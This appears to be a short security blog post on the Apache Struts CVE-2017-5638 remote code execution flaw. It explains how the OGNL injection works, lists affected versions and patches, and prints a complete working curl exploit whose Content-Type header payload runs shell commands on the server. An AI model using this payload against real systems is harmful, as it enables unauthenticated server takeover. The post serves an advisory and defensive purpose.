Listen to this Post
How the mentioned CVE works:
The CVE-2017-5638 vulnerability resides in the Jakarta Multipart parser of Apache Struts. The exploit functions by sending a maliciously crafted `Content-Type` HTTP header within a file upload request. The parser incorrectly processes this header, evaluating any Object-Graph Navigation Language (OGNL) expressions contained within it before any validation occurs. Since OGNL expressions can execute arbitrary system commands on the server, an attacker can achieve unauthenticated remote code execution with the privileges of the Struts application server. The attack is triggered by a flawed exception handling mechanism during file upload, which passes the unvalidated user input from the header directly into an error message that is interpreted as an OGNL expression.
Platform: Apache Struts
Version: 2.3.5 – 2.3.31, 2.5 – 2.5.10
Vulnerability: Remote Code Execution
Severity: Critical
date: 2017-03-07
Prediction: Patch available.
What Undercode Say:
curl -H "Content-Type: %{(_='multipart/form-data').([email protected]@DEFAULT_MEMBER_ACCESS).(_memberAccess?(_memberAccess=dm):((container=context['com.opensymphony.xwork2.ActionContext.container']).(ognlUtil=container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(ognlUtil.getExcludedPackageNames().clear()).(ognlUtil.getExcludedClasses().clear()).(context.setMemberAccess(dm)))).(cmd='id').(iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(cmds=(iswin?{'cmd.exe','/c',cmd}:{'/bin/bash','-c',cmd})).(p=new java.lang.ProcessBuilder(cmds)).(p.redirectErrorStream(true)).(process=p.start()).(ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(process.getInputStream(),ros)).(ros.flush())}" http://target.com/upload.action
How Exploit:
Craft malicious Content-Type header.
Target vulnerable Struts endpoint.
OGNL expression executes commands.
Gain remote shell access.
Protection from this CVE:
Apply vendor patch immediately.
Upgrade to Struts 2.3.32 or 2.5.10.1.
Implement WAF rules.
Filter malicious HTTP headers.
Impact:
Unauthenticated Remote Code Execution.
Full server compromise.
Data breach potential.
Complete system control.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
